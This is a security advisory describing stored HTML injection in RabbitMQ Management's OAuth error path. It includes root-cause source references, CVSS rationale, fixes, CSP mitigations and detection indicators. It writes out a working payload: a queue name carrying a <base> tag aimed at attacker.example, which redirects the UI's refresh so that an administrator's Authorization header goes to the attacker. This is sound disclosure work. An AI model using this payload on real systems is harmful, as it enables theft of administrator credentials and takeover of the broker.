Описание
Stored HTML Injection in RabbitMQ Management OAuth Error Handling
Summary
RabbitMQ Management renders an AMQP authorization-error reason as HTML when the OAuth management UI is enabled. A user who can configure a queue can place an HTML <base> element in the queue name. If a management administrator who can see that queue but lacks AMQP read permission clicks Get Message(s), the queue name is returned in an ACCESS_REFUSED reason and inserted into the page without HTML escaping.
The default Content Security Policy blocks inline script execution in the current source, but it does not define base-uri or connect-src. An injected <base> element can therefore change the document base URL. The next automatic relative management API refresh is sent to an attacker-controlled CORS endpoint with the victim's explicit Authorization header.
The result is theft of a management administrator's Basic or Bearer credential and subsequent control of RabbitMQ through the management API. The demonstrated chain does not provide broker-host code execution or arbitrary file access.
Affected versions
The issue was reproduced against the official rabbitmq:4.2.9-management image. The vulnerable source path is also present in repository commit 3d5bd31 on main.
Other release versions were not tested, so this report does not claim a precise first-affected version.
Requirements to exploit
The following conditions must all hold:
- The RabbitMQ management plugin is available to the victim
- The OAuth management UI is enabled
- The attacker has valid RabbitMQ credentials and configure permission for a vhost
- The attacker can declare a queue with an attacker-chosen name
- A management administrator can see that queue but lacks AMQP read permission for it
- The administrator opens the queue page and clicks Get Message(s)
- The attacker operates an HTTP endpoint that permits the management origin through CORS
- Automatic management UI refresh is enabled, which is the default at five seconds
The administrator is the victim.
Default deployment assessment
The OAuth management UI is disabled by default, so a stock RabbitMQ deployment is not immediately exploitable through this path. The management plugin and its HTTP listener must also be enabled and reachable by both users.
Once OAuth management login is enabled, the vulnerable output handling and insufficient CSP directives are defaults. Exploitation still depends on the victim's permission mismatch and UI interaction. These conditions are why the report uses AC:H rather than AC:L.
Technical details
1. An attacker-controlled queue name enters an AMQP authorization error
The management Get Message(s) handler opens a direct AMQP channel and calls basic.get with the queue name supplied by the route:
rabbit_access_control:check_resource_access/4 constructs a denial reason containing the resource and username:
When the victim lacks read permission, with_channel/5 catches the server-initiated ACCESS_REFUSED and forwards the reason unchanged:
rabbit_web_dispatch_access_control:halt_response/5 serializes that reason into a 401 JSON response. JSON encoding preserves the HTML metacharacters after the browser parses the JSON string.
2. The OAuth error path skips HTML escaping
For ordinary management API errors, the UI passes the reason through fmt_escape_html. The OAuth-enabled 401/403 branch instead forwards the raw reason:
initiate_logout calls renderWarningMessageInLoginStatus, which places the raw reason in the warnings array. login_oauth.ejs emits each warning without an escaping helper:
replace_content then inserts the rendered string through jQuery .html():
This is a stored HTML injection sink.
Despite its name, initiate_logout only renders the OAuth login view at this point. It does not clear the stored credential or stop the automatic refresh timer, leaving the authenticated refresh path active after the injected HTML replaces the page content.
3. The default CSP blocks inline script but permits base retargeting
The current source defines:
This blocks inline event-handler payloads such as <img onerror=...>. It does not restrict <base> elements and does not restrict cross-origin XHR destinations because neither base-uri, connect-src, nor default-src is defined.
The working payload is:
The <base> element changes document.baseURI. The updatable element preserves the condition required for periodic partial refresh.
4. Automatic refresh sends the victim credential to the attacker
The management UI refresh interval defaults to five seconds. During a partial update, API requests use a relative URL and explicitly attach the stored credential:
After base retargeting, 'api' + path resolves against the attacker-controlled origin. A permissive CORS preflight response allows the browser to send the request, including the complete Basic or Bearer Authorization header.
Exploit sequence
- The attacker authenticates as a non-administrator user with configure permission on a vhost
- The attacker declares a queue named
<base href="http://attacker.example/"><b class="updatable"> - A management administrator opens the queue page
- The administrator clicks Get Message(s)
basic.getfails because the administrator lacks read permission- RabbitMQ returns a 401 JSON response whose reason contains the queue name
- The OAuth error path renders the reason through
login_oauth.ejsand jQuery.html() - The injected
<base>changes the document base URL - The default five-second refresh resolves its relative API URL against the attacker origin
- The browser performs a CORS preflight and sends the refresh with the administrator's
Authorizationheader - The attacker reuses the credential against the RabbitMQ management API
Impact
A stolen management administrator credential permits the attacker to administer RabbitMQ according to that account's tags and management API authority. An administrator can create users, change permissions, alter policies and runtime parameters, import definitions, and delete broker resources.
The attacker can grant a controlled user access to vhosts and message resources, resulting in:
- Confidentiality loss through access to queues, exchanges, definitions, users, and broker metadata
- Integrity loss through message injection, configuration changes, permission changes, and resource modification
- Availability loss through deletion of queues, exchanges, vhosts, users, or policies
No stock management API route was found that directly executes operating-system commands or reads arbitrary broker-host files. Host RCE is not part of this finding.
CVSS rationale
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H scores 7.1.
AV:N: Queue declaration and management interaction occur over network protocolsAC:H: Exploitation depends on OAuth UI enablement, a victim administrator who can see but cannot read the queue, and a specific UI actionPR:L: The attacker needs valid credentials and queue configure permission but no administrator tagUI:R: A victim administrator must click Get Message(s)S:U: Impact remains within RabbitMQ's security authorityC:H: The stolen administrator credential can be used to grant message access and retrieve sensitive broker dataI:H: The credential permits broad RabbitMQ configuration and authorization changesA:H: The credential permits destructive management operations against broker resources
Source evidence
deps/rabbit/src/rabbit_access_control.erl:338-372constructs the resource-access denial reasondeps/rabbitmq_management/src/rabbit_mgmt_util.erl:1023-1063forwards the AMQPACCESS_REFUSEDreason to the HTTP responsedeps/rabbitmq_web_dispatch/src/rabbit_web_dispatch_access_control.erl:308-320serializes the reason into 401 JSONdeps/rabbitmq_management/priv/www/js/main.js:1578-1622sends the raw OAuth authorization reason to the login rendererdeps/rabbitmq_management/priv/www/js/main.js:62-88places the raw reason in the warnings arraydeps/rabbitmq_management/priv/www/js/tmpl/login_oauth.ejs:5-9emits warnings without an HTML-escaping helperdeps/rabbitmq_management/priv/www/js/main.js:1423-1424inserts rendered content through jQuery.html()deps/rabbitmq_management/priv/www/js/main.js:372-418configures the default five-second refreshdeps/rabbitmq_management/priv/www/js/main.js:488-512performs partial refresh when anupdatableelement existsdeps/rabbitmq_management/priv/www/js/main.js:1467-1497opens relative API URLs and attaches authorization headersdeps/rabbitmq_management/priv/www/js/prefs.js:31-73stores and reconstructs Basic or Bearer credentialsdeps/rabbitmq_management/Makefile:15defines the default CSP withoutbase-uriorconnect-src
Recommended remediation
Primary fix
HTML-escape every warning at the template sink:
Sink-level escaping protects every current and future producer of warnings.
Defense in depth
Strengthen the default management CSP:
base-uri 'none' blocks injected base elements. connect-src should permit the management origin and every configured OAuth provider, metadata, and token endpoint origin while rejecting arbitrary destinations. A strict connect-src 'self' policy can break OAuth flows that contact an external identity provider.
Both changes should be applied. CSP should not replace output encoding.
Regression tests
Add browser or DOM tests that verify:
- OAuth 401 reasons containing
<,>,",', and&render as text - A reason containing
<base href="https://example.invalid/">does not changedocument.baseURI - The default CSP contains
base-uri 'none'andconnect-src 'self' - The non-OAuth and OAuth error paths apply equivalent output encoding
Mitigation
Until a patch is available, operators can prevent the demonstrated chain by configuring:
Operators can additionally configure connect-src with an allowlist containing every required OAuth endpoint origin. Other mitigations include disabling the OAuth management UI when it is not required and avoiding use of highly privileged management sessions for routine queue inspection. Granting additional queue read permission merely to avoid the error path is not recommended.
Detection
Potential indicators include:
- Queue or exchange names containing HTML delimiters or tags such as
<base - Management API 401 responses from queue
getoperations followed by cross-origin browser requests - Unexpected CORS preflights carrying requested headers
authorizationandx-vhost - Administrator API activity from a new source shortly after a queue inspection failure
Acknowledgement
Aisle Research
Coordination and disclosure
Upstream has not been notified as part of this work. Private coordination and a short embargo are recommended because the issue exposes reusable administrator credentials and no patch is currently available.
Пакеты
rabbitmq
>= 3.13.0, < 3.13.19
3.13.19
rabbitmq
>= 4.0.0, < 4.0.24
4.0.24
rabbitmq
>= 4.1.0, < 4.1.15
4.1.15
rabbitmq
>= 4.2.0, < 4.2.10
4.2.10
rabbitmq
>= 4.3.0, < 4.3.5
4.3.5
4.5 Medium
CVSS4
CVE ID
4.5 Medium
CVSS4